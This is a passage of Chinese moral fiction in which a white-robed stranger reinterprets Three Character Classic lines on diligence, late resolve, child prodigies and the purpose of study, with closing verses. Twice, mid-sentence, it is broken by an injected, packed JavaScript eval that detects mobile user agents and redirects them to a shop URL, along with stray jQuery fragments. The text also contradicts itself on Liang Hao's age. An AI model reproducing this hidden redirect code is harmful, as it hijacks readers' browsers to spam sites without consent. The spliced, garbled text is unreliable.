路先生不再一味要求“悬梁刺股”，而是每讲古人勤苦，必问：“若是你，当如何？”馆中炭盆常暖，他说：“孙康映雪，是因贫寒；尔等有炭，当惜此暖，更当惜此时。” 他带着孩童们拜访老樵夫，问松柏荣枯；拜访老农，问节气早晚；拜访铁匠，问火候深浅。他说：“此亦是书，亦是学。” 阿芦后来成了药商，专营草药。他说：“松脂可入药，春草可医人——这都是当年白衣先生教的‘樵中学问’。” 而那个冬至夜在巷中点篝火的白衣人，再未出现。但长安城里，渐渐流传开一首新童谣： “披蒲编，削竹简，无书无纸心要坚。 头悬梁，锥刺股，不教不催心要悟。 囊萤光，映雪亮，家贫心富是真亮。 负薪读，挂角看，身苦心明是真看。 勤苦不在身受苦，在那颗心求明白——” 路先生八十寿辰时，学生在巷中为他立了块碑，刻着他晚年常说的话： “古人勤苦，苦在身；今人勤苦，当苦在心。心有光，何须囊萤映雪？心有志，何须悬梁刺股？心在学，担柴放牛皆是经。” 有人说，这话是那白衣人说的。路先生抚碑微笑：“是谁说的，不重要。重要的是，咱们都听进去了。” 听进去的，是那颗“心”。那颗在暗夜中求光、在贫寒中求知、在困顿中求醒、在劳作中求明的心。 那心光，比萤亮，比雪明，比火暖，在每一个真正的读书人胸中，长明不灭。 本章诫世 一、 勤苦真义训 - 披蒲编，削竹简。彼无书，且知勉。头悬梁，锥刺股。彼不教，自勤苦。如囊萤，如映雪。家虽贫，学不辍。如负薪，如挂角。身虽劳，犹苦卓 - 破解法：求学者，自问“勤苦为何？苦身，还是苦心？学古人，学其迹，还是学其心？可只慕悬梁刺股之形，不慕求光求明之心？” 二、 四苦四心 - 蒲编竹简——无书之苦，求书之心 - 悬梁刺股——困倦之苦，求醒之心 - 囊萤映雪——暗贫之苦，求光之心 - 负薪挂角——劳作之苦，求明之心 - 四明：古人苦在身，今人当苦在心。无书时求书，有书时惜书；困倦时求醒，清醒时惜时；暗贫时求光，光明时惜光；劳作时求明，安闲时惜明。若只学其苦，不学其心，是买椟还珠 三、 心光大道 - 深层隐喻：勤苦是药，治怠惰之病。然病有不同：古人病在无书、困倦、暗贫、劳作，故以蒲编、悬梁、囊萤、负薪为药。今人病在有心怠、心迷、心暗、心盲，当以“求心”为药。若今人仍用古药，是药不对症 - 终极指向：世人慕勤苦，易入歧途：慕其迹而忘其心，学其形而失其神。蒲会腐，简会朽，梁会朽，锥会锈，萤会死，雪会融，薪会尽，角会老。唯那颗求书、求醒、求光、求明的心，永不腐不朽不锈不死不融不尽不老 冬至苦偈： 冬至长安蒙馆寒，路师教童勤苦章。 蒲编竹简悬梁股，囊萤映雪负薪角。 白衣巷口说故事，古人勤苦苦在身。 今人当苦苦在心，心有光明不借萤。 从此蒙馆教勤苦，先问心光在何处。 后世叹： 披蒲编，削竹简，古人无书心有书。 头悬梁，锥刺股，古人无教心有教。 囊萤映雪负薪角，身苦心明是真学。 路师教童苦其身，白衣说学苦其心。 从此勤苦不在迹，在那颗心求明白。 正是： 冬至长安飞雪寒，蒙馆先生教勤苦。 蒲编竹简悬梁股，萤雪薪角是楷模。 白衣夜中说故事，勤苦苦身更苦心。 从此读书先问心，心光长明胜囊萤。 119.迟立志谳 楔子·清明劝学 清明时节，洛阳城南“劝学亭”畔，老塾师杜夫子拄着拐杖，对一群垂髫童子训诫： “……苏老泉，二十七，始发奋，读书籍。彼既老，犹悔迟。尔小生，宜早思！若梁灏，八十二，对大廷，魁多士。彼既成，众称异。尔小生，宜立志！尔等黄口小儿，正当早立志、早用功，莫待老来悔迟！” 童子们手捧《劝学诗》，个个苦脸。有个叫青哥儿的，约莫八九岁，嘟囔道：“先生，我爹说，让我学算账，将来接铺子……” 杜夫子拐杖一戳地：“糊涂！万般皆下品，惟有读书高！你爹开酱铺，能高到哪里去？” 正说着，亭外传来清越笛声，吹的正是《杏花天》。众人望去，见柳树下坐着个白衣人，正教几个街童折柳吹笛。白衣人斗笠是细柳与桃枝混编，檐边缀着几朵纸扎小白花。白衣是细麻所制，洗得泛白，袖口用青线绣着柳叶纹。木剑斜倚树根，剑穗是褪色的五色丝绦打成柳环结。面上蒙着本色棉纱，只露出一双含笑的眼睛，正将一个柳笛递给个总角小童。 杜夫子皱眉：“清明时节，当思先贤，岂可嬉游吹笛？” 白衣人放下柳笛，起身一揖：“夫子教训得是。在下教孩子们折柳，正是为思先贤——柳者，留也，留先贤之德，留春时之思。” “巧言令色！”杜夫子哼道，“你既教人思先贤，可知苏老泉、梁灏故事？” “略知一二。” “那便说来听听，也让这些蒙童知道，何为‘迟立志’！” 一、 苏明允的醒悟 白衣人邀童子们围坐柳下，从怀中取出个布包，展开是几把旧算盘。 “先说苏明允。此人年少时，不爱读书，喜游历。二十多岁，已是蜀中绸缎行有名的‘苏算盘’，账目过手，分文不差。” 白衣人拨动一把算盘，噼啪脆响。 “二十七岁那年，他参加进士试，未中。” “回乡后，见幼时所读《论语》，已蒙尘。他拂去灰尘，重新翻开。回想自己这些年，除账本之外，竟无所得。” 白衣人又拿起一本破旧的《千字文》：“他买来蒙书，从头学起。伙计笑他：‘东家，您这把年纪，还想考状元？’他说：‘不考状元，只是想明白，人活一世，除了算账赚钱，还能有什么。’” 杜夫子捻须：“这便是‘始发奋’。” “是发奋。”白衣人点头，“他白天管铺子，夜里点灯读书。前后六七年，读通经史百家，文章自成一家。后来两个儿子苏轼、苏辙，皆成大家。人称‘一门三苏’。” “苏明允一生，并未考中进士，官至主簿而已。” “但后世论宋文，必称三苏。人说他是大器晚成，他自己却说：二十七岁那年落第后，才晓得人活着，不能只活个算盘。” 白衣人将算盘递给青哥儿：“你爹让你学算账，没错。但算账之余，也可读书。读书不为功名，为明白——明白人活着，除了酱铺账本，还有什么。” 二、梁灏的拐杖 白衣人又取出一根磨得光润的竹杖，杖头雕着个寿星。 “再说梁灏。此人乃郓州须城人氏，少有神童之誉，十二岁中秀才，人皆道必中状元。弱冠之年，初举进士，不中第，留阙下，献疏论科举之弊。” 孩子们哗然：“他敢给皇帝上书？” “正是。”白衣人拄杖起身，学着老态，“那疏中说：‘陛下设科取士，奈何所取不出于诗赋策论？简于心者援而陟之，咈于心者推而黜之，宁无滥陟枉黜之失耶？’” 杜夫子捻须道：“此疏所言，切中时弊。只是……他那时多大年纪？” “二十出头。”白衣人笑道，“疏上，不报。梁灏便留在京师，发愤读书。过了两年，雍熙二年，再举进士，廷试，太宗皇帝亲擢甲科。” “这就中了？”青哥儿算道，“那也不过二十几岁！” “正是。梁灏中状元那年，二十有三。” 孩子们哗然更甚：“可《三字经》里明明说……” “说‘若梁灏，八十二，对大廷，魁多士’？”白衣人摇头，“那是后世讹传。梁灏四十二岁那年，以翰林学士知开封府，正当盛年，大有可为，却暴疾卒于任上。” 众人皆怔。杜夫子道：“如此说来，《三字经》误矣？” 白衣人未答，只将竹杖递给巷尾拾荒的老秦头——那老儿六十多了，每日来亭外听讲，从不识字。 “老丈，您说，这讹传是因何而起？” 老秦头摩挲竹杖，半晌道：“怕是……有人想给老不中的举子们，留个念想罢。” 白衣人拊掌：“正是！明人《遁斋闲览》载，梁灏有谢启云：‘白首穷经，少伏生之八岁；青云得路，多太公之二年。’——明明是后人伪作，却传了数百年。” 他环顾众人：“那为何偏要把他编成八十二岁？” 亭中寂然。 白衣人自答：“因为天下读书人，太多老于场屋者。他们需要一个念想——只要考下去，终有出头之日。这念想，比真状元梁灏，更合人意。” 他看向老秦头：“老丈，若您十八岁进学，考到六十仍不中，还考么？” 老秦头笑了：“考甚？我连字都不识。” “那您这一辈子，跟甚较劲？” 老秦头想了想，指着竹杖：“跟这根棍子较劲罢。年轻时拄它嫌早，老了离了它又不行。” 白衣人颔首：“正是。梁灏较劲的不是功名，是那个‘为何读书’。他二十出头就中了，那是真才学；可世人偏要让他八十才中，那是真念想。念想这东西，有时比才学更要紧。” 他将竹杖收回，轻叩地面：“今日说这些，不是要驳《三字经》。那书里的话，劝人向学，是好意。只是你们记住——世上传言，有真状元，也有假状元。真状元在史书里，假状元在人心里。” 孩子们似懂非懂。青哥儿问：“那咱们该信哪个？” 白衣人笑道：“都信。信真状元，是知史；信念想，是知人。知史又知人，才算真明白。” 夕阳西下，他把竹杖递给那发问的孩子：“去，还给巷尾老丈。跟他说——这根棍子，他拄得，你也拄得；只是你拄它的时候，要晓得自己较的是甚劲。” 青哥儿捧着竹杖，飞奔而去。 三、清明的柳笛 日头渐高，柳絮纷飞。白衣人教孩子们将柳笛凑唇，齐齐吹响。清越笛声里，他问：“杜夫子，您教‘宜早思’‘宜立志’，敢问童子们，思什么？立什么志？” 杜夫子肃然：“自然思圣贤之道，立经世之志！” “若思不明白呢？” “那便勤学苦读，终有明白之日！” “若立了志，达不成呢？” “那便如梁灏，老而弥坚！” 白衣人摘下一片柳叶，置于唇边，吹出呜咽之音。 “苏老泉二十七岁前，思的是算盘，立的是商志。二十七岁那年，他始发愤读书，而举进士不中，遂焚所为文，闭户益读书。此事《宋史》有载。他所思者，从谋生转为求道；所立者，从家业转为文章。” 他顿了顿，看向杜夫子：“至于梁灏，前日已说，实为二十三岁状元，并非八十二岁及第。但《三字经》所传，自有其教化之意——劝人向学，老而不辍。” 清明之日，祭祖追远，所以思先人之志也。然先人之志，岂必同于子孙之志哉？昔苏老泉之父序，富而好施，未尝预知其子文章冠世，列名八家；若梁灏之父，使其知子二十有三登科，早耀龙门，则夙愿尽偿，亦可以无憾矣。 他折下一段柳枝，编成环，戴在青哥儿头上。 “清明折柳，是为留春。读书求学，各人有各人的时节。有人早成，有人晚达，皆不足为奇。只要那‘思’是真的，那‘志’是你自己的，便对得起先人，也对得起自己。” 四、 酱铺的账本 三日后，杜夫子路过青哥儿家的“陈记酱铺”，见柜台里，青哥儿一手拨算盘，一手翻着本《千家诗》。算盘声脆，诵诗声稚，竟有种奇异的和谐。 杜夫子进去，青哥儿忙起身作揖：“先生。” “你……还在读诗？” “嗯。白日帮爹看铺，夜里读诗。”青哥儿眼睛亮亮的，“苏老泉能白天管铺子夜里读书，我也能。” “读诗为何？” “爹说，算账能算清钱财，读诗能算清人心。咱们酱铺，既要钱财清，也要人心明。” 杜夫子愣住，半晌问：“这话……谁教的？” “白衣先生前日来买酱，跟我爹说的。”青哥儿从柜台下拿出一卷纸，展开是幅墨柳图，旁有题字： “苏泉廿七始读书，非悔少时不读书，乃悟人生不止数。 梁灏八二方中第，非矜老来能中第，乃明读书不在第。 清明柳笛年年吹，莫道立志有早迟。 但得心中一点明，七岁立志不为早，百岁立志不为迟。” 杜夫子凝视良久， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209037|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽拄杖长叹：“老朽教了一辈子‘宜早思’‘宜立志’，却不知思可转，志可移。迟者非迟，乃真思真志也。” 他转身出铺，见巷口柳树下，那白衣人正教老秦头认字。老秦头六十有三，握笔的手颤巍巍，写的第一个字是“人”。 杜夫子上前，深揖：“先生前日之教，老夫受教。敢问先生，老朽六十有三，尚可立志否？” 白衣人扶起他，从柳枝上摘下一片新叶：“夫子请看，此叶新生。柳树已百岁，年年发新叶。树不因老而不发，人不因老而不立。夫子之志在教，教了一辈子，今日可立新志——教人立真志。” 尾声·柳笛新声 此后，劝学亭畔的蒙馆改了规矩。 杜夫子不再催童子“早思早立”，而是每有新生，必问三句：“你思何事？此思真否？此志是你之志否？”若答不出，便让童子去市井走三日，看贩夫走卒所思所立。 他自撰一联，悬于亭柱： 苏泉廿七非悔迟，乃悟人生不止数 梁灏八二非矜老，乃明读书不在第 青哥儿后来接管酱铺，账目清明，童叟无欺。铺子里总摆着几本诗书，他说：“酱有咸淡，诗有甘苦，皆是人间味。” 老秦头学了三年，能读家书，能写账目。他说：“六十学字，不为晚，只为明——明白自己活了一辈子，到底是个什么人。” 而那个教人折柳吹笛的白衣人，清明过后便无踪影。但每年清明，劝学亭柳树上，总会挂着几支新削的柳笛。童子们吹响时，仿佛能听见那清润的声音在说： “苏老泉，二十七，始发奋，非悔迟，是悟了。 若梁灏，八十二，对大廷，非矜异，是明了。 尔小生，宜早思，思要真，真思何时都不迟。 尔小生，宜立志，志要己，己志老幼皆可立。 清明柳笛年年新，莫道立志有早春——” 杜夫子八十寿辰时，童子们为他折柳编冠。他戴冠而笑：“老朽六十三岁重立志，立志教人立真志。此志立得迟，立得真。” 真，便不迟。 本章诫世 一、 立志真义训 - 苏老泉，二十七。始发奋，读书籍。彼既老，犹悔迟。尔小生，宜早思。若梁灏，八十二。对大廷，魁多士。彼既成，众称异。尔小生，宜立志 - 破解法：求学者，自问“立志为何？为早，还是为真？苏老泉悔迟，悔的是迟读书，还是迟悟人生？梁灏称异，异的是老中第，还是老明道？可只求早，不求真？” 二、 迟立二悟 - 苏老泉之悟——二十七岁始发奋，非悔少年不读书，乃悟人生不止算盘账本。立志不在早，在真悟 - 梁灏之悟——八十二岁方中第，非矜老迈能登科，乃明读书不在功名。立志不在成，在明道 - 二明：立志宜早，但真志不嫌迟。苏老泉迟在二十七，悟在荒坟前；梁灏迟在八十二，悟在金殿上。迟者非迟，乃真思真悟真明。若未悟而早立，是盲志；已悟而迟立，是真志 三、 柳笛大道 - 深层隐喻：人生如清明，祭祖思先。先人之志，是柳树旧枝；我之志，是柳树新芽。旧枝可参，新芽当发。苏老泉折旧枝（商志）发新芽（文志），梁灏经寒暑（科举）绽晚花（悟道）。立志如折柳，柳条年年新，志亦可岁岁新。莫囚于旧枝，莫误于早迟 - 终极指向：世人劝立志，易入歧途：重早不重真，重成不重明，重迹不重心。苏老泉若不悟，终生富贾；梁灏若不明，老死科场。迟立何妨？只要立的是真志、己志、明志。真志，七岁不早，百岁不迟 清明志偈： 清明洛水劝学亭，杜师谆谆勉童蒙。 苏泉廿七始发愤，梁灏弱冠已登瀛。 古来贤达各有道，岂因早晚论前程？ 但问真心向何处，真志既立山可平。 亭前桃李年年发，春风早晚俱成英。 后世叹： 苏老泉，二十七，始发奋，非悔迟。 若梁灏，八十二，魁多士，非矜异。 杜师要童早立志，白衣说志在真明。 从此立志先问心，真心何论老与幼。 正是： 清明洛阳柳飞絮，劝学亭中说立志。 苏泉梁灏为楷模，要童早思早用功。 白衣柳下说故事，迟立非迟乃真悟。 从此立志不在早，在真在己在明白。 120.颖悟谳 楔子·七夕乞巧 七月初七，金陵城“慧心阁”天井里，女塾师戚先生正襟危坐，对一众女童训话： “……尔等女子，当知勤敏！昔有蔡文姬，六岁辨琴弦，隔帷听父弹琴，弦断能知第几弦。有谢道韫，七岁能咏雪，叔父问‘白雪纷纷何所似’，兄答‘撒盐空中’，道韫对‘未若柳絮因风起’，才思敏捷如此！彼女子，且聪敏，尔等能不勉乎？” 女童们穿着新裁的夏衫，手执纨扇，听得入神。唯有个叫小絮的女孩，约莫八九岁，低头摆弄裙角的流苏。 戚先生用戒尺轻敲桌案：“再看男子！北齐祖莹，八岁能咏诗，人赞‘圣小儿’；唐朝李泌，七岁赋棋局，帝称‘神童’；刘晏七岁举神童，授正字官。彼颖悟，人称奇，尔幼学，当效之！小絮，你来说，蔡文姬何以能辨琴？” 小絮慌慌站起：“因、因她耳力好……” “非也！”戚先生正色，“是因她用心专一，六岁便有定力。尔等若也能收心定性，何愁不……” 话未说完，天井外墙头忽然传来清凌凌的童谣声： “莹八岁，能咏诗，咏的不是诗是急智。 泌七岁，能赋棋，赋的不是棋是机缘。 文姬辨琴辨宫商，道韫咏絮咏雪光。 刘晏七岁为正字，正的不是字是运气——” 戚先生皱眉推窗，见对面染坊晒布场上，几个街童正围着一个白衣人唱跳。白衣人坐在青石上，面前摊着几块染了色的布头，正教孩童辨色。斗笠是细篾与牵牛花藤混编，檐边缀着几朵干枯的蓝牵牛。白衣是葛麻所制，洗得泛白，袖口用靛蓝线绣着云纹。木剑横放膝上，剑穗是褪色的五色丝绦打成同心结。面上蒙着本色棉纱，只露出一双含笑的眼睛，正将一块靛蓝布递给个梳双鬟的小丫头。 “荒唐！”戚先生推门而出，“七夕乞巧，当学女红针黹，尔等在此喧哗嬉戏，成何体统！” 白衣人抬头，声音温和如溪水：“先生教诲得是。在下教孩子们辨色，正是为乞巧——织女织云锦，不也要辨色么？” 戚先生冷笑：“巧在静心，不在喧哗。你既知祖莹、李泌、蔡文姬、谢道韫、刘晏故事，何不说来听听？也让这些女童知道，何为真颖悟！” 一、 祖莹的“急智” 白衣人邀女童们到染坊檐下，与街童们围坐。他从怀中取出几页泛黄的诗稿。 “先说祖莹。此人八岁时，一日偷读《诗经》，被父亲发现。父怒问：‘不读正书，看此何用？’祖莹急中生智，答：‘诗三百，一言以蔽之，思无邪。’” 他展开一页，上是稚拙笔迹：“此是他八岁仿作的诗：‘萤火照书夜，书光照我心。我心本无邪，何畏父来寻？’” 小絮掩口笑：“他这是狡辩。” “是狡辩，也是急智。”白衣人道，“父亲见他出口成章，转怒为喜，许他读书。若无这急智，或许他就成了寻常顽童，日后也无‘圣小儿’之名了。” “可见颖悟，有时是情急之下的灵光。但——”白衣人话锋一转，“祖莹后来苦读，常夜以继日。人说‘莹八岁，能咏诗’，却不知他八岁后，日日读书到三更。那急智，是火花；这苦功，才是薪柴。” 他分给每个孩子一块布头：“你们看这靛蓝色，是急智，一闪亮；但要染出这色，需靛草反复浸、反复晒、反复染——这才是真功夫。” 二、 李泌的“机缘” 白衣人又取出一张棋盘，摆上几枚木棋子。 “李泌七岁时，帝召神童赋诗。李泌到殿上，帝正与张说弈棋。张说指棋盘出题：‘方若棋盘，圆若棋子，动若棋生，静若棋死。’” 他在棋盘上摆出方阵：“李泌不假思索，对曰：‘方若行义，圆若用智，动若骋才，静若得意。’” 小絮眨眼：“这……有什么难？” 戚先生轻斥：“休得狂言！七岁孩童，能由棋盘悟出处世之道，已是奇才。” “是奇才，但也有机缘。”白衣人将一枚棋子放在小絮掌心，“李泌之父是朝官，他自幼出入宫廷，见惯大臣对答。那日殿上，若帝不在下棋，在绘画，张说或许出画题，李泌或许对画论。所谓‘赋棋’，是机缘巧合。” 他将棋子一一分给孩童：“但机缘只敲一次门。李泌若平日不读书、不思考，机缘来了，也对不上。他那四句，方是规矩，圆是变通，动是进取，静是沉淀——这道理，岂是七岁孩童凭空能悟？定是平日听父辈议论，记在心中，机缘到时，脱口而出。” “所以人说‘泌七岁，能赋棋’，赋的不是棋，是平日积累，遇上恰当时机。” 三、 蔡文姬的“专注”与谢道韫的“灵机” 白衣人从怀中取出一张极小的小琴，仅三弦，置于石上。 “蔡文姬六岁，父蔡邕夜弹琴。忽弦断，文姬在帷后说：‘第二弦。’父讶，故意又断一弦，文姬说：‘第四弦。’” 他轻拨小琴，弦音清越：“人皆道她耳力非凡。可你们想，她为何在帷后？是父亲弹琴，不让她看，她便专心听。这一‘专心’，才听出细微差别。” “谢道韫七岁，叔父谢安问：‘白雪纷纷何所似？’兄谢朗答：‘撒盐空中差可拟。’道韫对：‘未若柳絮因风起。’” 白衣人从袖中取出一小袋柳絮，轻轻一吹，絮如雪飞。 “撒盐是沉重下落，柳絮是轻盈飘舞。道韫能想到柳絮，是因她平日观察入微——盐是厨房物，柳絮是自然景。她心中有自然，才能脱口而出。” 他看向女童们：“文姬之能，在专注；道韫之能，在灵机。专注是定力，灵机是慧心。女子聪敏，不在强过男子，在各有其长。” 四、 刘晏的“运气” 白衣人最后取出一方小小的“正字”印章，在布头上按了个红印。 “刘晏七岁，献赋于帝，帝奇之，授‘正字’官，校正典籍。人赞神童。” “可他这‘神’，有三分运气。”白衣人将印章传给孩童们看，“其一，他生在士族，有书可读；其二，他父是官，有机会见驾；其三，他献赋时，帝心情正好。” “若他生在农家，纵有天赋，或许终生不识一字。若帝那日心烦，或许看一眼就搁下。‘举神童’，是天赋，更是时运。” 他收起印章，正色道：“我说这些，不是贬低神童，是说——人见祖莹咏诗，不见他夜读三更；人见李泌赋棋，不见他平日积累；人见文姬辨琴，不见她专注凝神；人见道韫咏絮，不见她观察入微；人见刘晏为官，不见他三分运气。” “若只羡其颖悟，不学其背后功夫，便是买椟还珠。” 五、 七夕的“巧” 日头西斜，染坊开始收布。五彩布匹在夕阳下如流霞。 白衣人起身，指着满院布匹：“今日七夕，女儿家乞巧。巧是什么？是织女一夜织就云锦的巧手。可这巧手，是天生，还是练就？” 他走到一匹正染的靛布前：“染布要巧。何时下靛，何时搅动，何时起缸，何时晾晒——差一刻，色不匀。这巧，是日日练出来的。” 又走到纺车前：“纺线要巧。抽棉成纱，捻纱成线，力道要匀，速度要稳——差一分，线易断。这巧，是年年练出来的。” 最后走到织机前：“织布要巧。脚踏手抛，经纬交织，错一梭，布有疵。这巧，是代代传下来的。” 他转身看向戚先生和女童们：“祖莹的诗才，李泌的棋对，文姬的琴耳，道韫的诗心，刘晏的官运——皆是‘巧’。但这巧，是急智加苦功，是积累加机缘，是专注加灵机，是天分加运气。若只慕其巧，不学其功，便是……” “便是乞巧只乞结果，不乞过程。”戚先生接口，声音有些哑。 白衣人颔首：“先生明鉴。七夕乞巧，女儿家乞的是织女的巧手，可织女之巧，也是千年织就。今日女孩们穿针斗巧，是娱戏，也是练习——练那定力，练那观察，练那灵机。” 他从怀中取出几枚绣花针，分给女童：“这针，送给你们。穿针引线是巧，读书明理也是巧。文姬辨琴是巧，道韫咏絮也是巧。巧无高下，只在用心。” 六、 染坊的启示 三日后，慧心阁女塾的课程变了。 戚先生不再只教《女诫》《列女传》，也教辨色、教纺织、教厨艺。她说：“文姬辨琴，辨的是音；道韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祖莹咏诗——急智为表，苦功为里 - 李泌赋棋——机缘为表，积累为里 - 文姬辨琴——耳力为表，专注为里 - 道韫咏絮——灵机为表，观察为里 - 刘晏正字——运气为表，准备为里 - 五明：颖悟是花，功夫是根。只见花艳，不见根深，是买花弃根。男子当自警，女子当自强，皆在功夫，不在虚名 三、 乞巧大道 - 深层隐喻：七夕乞巧，乞的是织女巧手。然织女之巧，非天生，乃千年织就。祖莹之诗、李泌之棋、文姬之琴、道韫之絮、刘晏之字，皆是“巧”。巧是果，功夫是因。乞巧当乞功夫，非乞巧果。今人慕神童，慕才女，慕的是巧果，忘的是功夫 - 终极指向：世人赞颖悟，易入歧途：重天赋而轻苦功，重机缘而轻积累，重急智而轻专注，重灵机而轻观察，重运气而轻准备。然无苦功，天赋是浮萍；无积累，机缘是泡影；无专注，急智是火花；无观察，灵机是妄念；无准备，运气是虚风。乞巧当乞根，莫只乞花 七夕巧偈： 七夕金陵慧心阁，戚师教女慕颖悟。 莹八泌七文姬琴，道韫咏絮刘晏字。 白衣染坊说故事，颖悟背后是功夫。 乞巧当乞织女手，莫只慕巧忘功夫。 从此女塾教颖悟，先教苦功后教巧。 后世叹： 莹八岁，能咏诗，咏诗背后是三更。 泌七岁，能赋棋，赋棋背后是积累。 文姬辨琴道韫絮，巧在专注与观察。 刘晏正字是运气，有为当学真功夫。 戚师教女慕颖悟，白衣说巧在功夫。 正是： 七夕金陵乞巧时，慧心阁中说颖悟。 莹泌文姬谢刘晏，皆称神童当效之。 白衣染坊说故事，颖悟是花功是根。 从此乞巧先乞功，功夫到处巧自生。 121.劝学谳 楔子·腊月劝学 腊月廿三，灶王节。苏州城“劝学堂”前，塾师严夫子手持戒尺，对一干学童训话，声如寒铁： “……犬守夜，鸡司晨。苟不学，曷为人！蚕吐丝，蜂酿蜜。人不学，不如物！尔等且听真了：幼而学，壮而行。上致君，下泽民。扬名声，显父母。光于前，裕于后——此乃读书人本分！人遗子，金满赢。我教子，唯一经。勤有功，戏无益。戒之哉，宜勉力！” 学童们冻得鼻尖通红，呵气成霜。有个叫阿卯的男孩，约莫十岁，缩着脖子嘀咕：“我爹说……能识字记账就成……” “荒唐！”严夫子戒尺“啪”地打在案上，“你爹卖豆腐，你也卖豆腐，子子孙孙卖豆腐，与犬鸡何异？与蚕蜂何异？” 正此时，街对面糖坊传来“叮叮当当”熬糖的脆响，混着孩童的欢笑声： “犬守夜，鸡司晨，不守不司也为人。 蚕吐丝，蜂酿蜜，不吐不酿也是物。 幼而学，壮而行，不行不学也是民。 扬名声，显父母，不扬不显也是子——” 严夫子怒而推门，但见糖坊檐下，三五个街童正围着一个白衣人熬糖画。白衣人坐于矮凳，手握铜勺，糖丝在石板上游走如龙。斗笠是麦秆与腊梅枝混编，檐边缀着几朵干腊梅。白衣是粗棉所制，洗得泛白，袖口沾着几点糖渍。木剑倚在墙边，剑穗是褪色的五色丝绦打成如意结。面上蒙着本色棉纱，只露出一双带笑的眼睛，正将一只糖蝴蝶递给个流鼻涕的小丫头。 “放肆！”严夫子大步上前，“灶王节祀灶，当思‘勤有功，戏无益’，尔等在此嬉戏熬糖，成何体统！” 白衣人放下铜勺，起身一揖：“夫子息怒。在下教孩子们熬糖，正是思‘勤有功’——熬糖要勤搅，勤看火候，勤转铜勺，一丝急不得，与读书同理。” “强词夺理！”严夫子冷笑，“你既知《三字经》此段，何不解说真义？也让这些蒙童知道，何为人之本分！” 一、 犬、鸡、蚕、蜂 白衣人邀学童们围坐糖坊前，从怀中取出一叠剪纸：犬、鸡、蚕、蜂，栩栩如生。 “先说‘犬守夜，鸡司晨’。犬为何守夜？因它耳聪目明，能听夜声。鸡为何司晨？因它知天时，感阳气。此乃犬鸡之天性，亦是本分。” 他点燃小泥炉，将糖块入锅，铜勺轻搅。 “人无犬耳，无鸡冠，何以要学犬鸡守夜司晨？因人有心，有心便要明理。犬守夜是守宅，人守夜是守心；鸡司晨是报时，人司晨是惜时。不守心，不惜时，空有耳目，与犬鸡何异？” 糖浆咕嘟冒泡，甜香四溢。阿卯咽了口唾沫。 “再说‘蚕吐丝，蜂酿蜜’。蚕食桑叶，吐丝成茧，为人作衣；蜂采百花，酿蜜为糖，为人作甜。此乃蚕蜂之劳，亦是本分。” 白衣人舀起一勺糖浆，在石板上飞快勾勒，竟画出一只蚕、一只蜂。 “人不吐丝，不酿蜜，何以要学蚕蜂？因人有手，有手便要作事。蚕吐丝是作茧，人作事是作德；蜂酿蜜是酿甜，人作事是酿善。不作德，不酿善，空有双手，与蚕蜂何异？” 他将糖蚕、糖蜂分给孩童：“可犬守夜，是为人守；鸡司晨，是为人司；蚕吐丝，是为人衣；蜂酿蜜，是为人甜。它们本分如此，人受其惠，当感其劳，岂可反说‘不如犬鸡蚕蜂’？当说：人若不学不作，愧对犬鸡蚕蜂之劳。” 二、 幼学、壮行、致君、泽民 糖浆渐稠，白衣人又舀起一勺，画了个小小蒙童，又画了个挺拔青年。 “‘幼而学，壮而行’。幼学为何？学明理。壮行为何？行所明。若幼学只为壮行，那学是工具，行是目的——如此，与犬学守夜、鸡学司晨何异？犬鸡不知为何守司，人若不知为何学行，纵学富五车，行遍天下，亦是盲犬瞎鸡。” 他再画一座殿堂，一个戴冠者；又画一片田园，几个农夫。 “‘上致君，下泽民’。致君为何？助君明。泽民为何？惠民生。若致君是为显达，泽民是为沽名，那君是阶梯，民是筹码——如此，与蚕吐丝为衣、蜂酿蜜为甜何异？蚕蜂不知衣甜之用，人若不知明民之本，纵致君泽民，亦是作茧自缚。” 严夫子听到此处，胡须微颤，欲言又止。 白衣人将糖画分给孩童，缓声道：“幼学，当学为何学；壮行，当行为何行。致君，是为助君行仁政；泽民，是为使民得安乐。若本末倒置，学是空学，行是妄行。” 三、 扬名、显亲、光前、裕后 糖浆将凝，白衣人手速如飞，画出个牌坊，上书“光宗耀祖”；又画座宅院，匾题“裕后堂”。 “‘扬名声，显父母。光于前，裕于后。’此十二字，误了多少读书人。” 他点出牌坊下一个弯腰躬背的小人：“此人寒窗苦读，是为扬名。名扬了，父母有光。可父母真正要的光，是儿女平安喜乐，还是匾额高挂？” 又点出宅院里一个愁眉苦脸的老者：“此人教子读书，是为裕后。后裕了，前人有光。可前人真正的裕，是子孙明理行善，还是金玉满堂？” 白衣人看向严夫子：“夫子教《三字经》，可曾问蒙童：你扬名，为何扬？显亲，为何显？光前，为何光？裕后，为何裕？” 严夫子怔住，半晌道：“自然是为……为家声不坠，为子孙有继。” “若子孙不明理，家声是虚声；若子孙不为善，有继是空继。”白衣人叹息，“昔有某氏，三代进士，牌坊林立，可谓扬名显亲、光前裕后。然其孙横行乡里，欺男霸女，家声一夜尽毁。人叹：‘纵有万贯，不如一善；纵有高名，不如一德。’” 糖画渐冷，他轻轻敲下，分与众人：“名是糖画，看着甜，吃着黏。德是熬糖的火候，是搅糖的功夫，是画糖的心境——这些，才是真的。” 四、 遗金与遗经 白衣人洗净铜勺，从怀中取出一卷旧书，书页泛黄。 “‘人遗子，金满赢。我教子，唯一经。’这话本是好意，劝人重教化轻钱财。可这‘一经’，是什么经？” 他翻开一页，是《论语》“学而”篇。 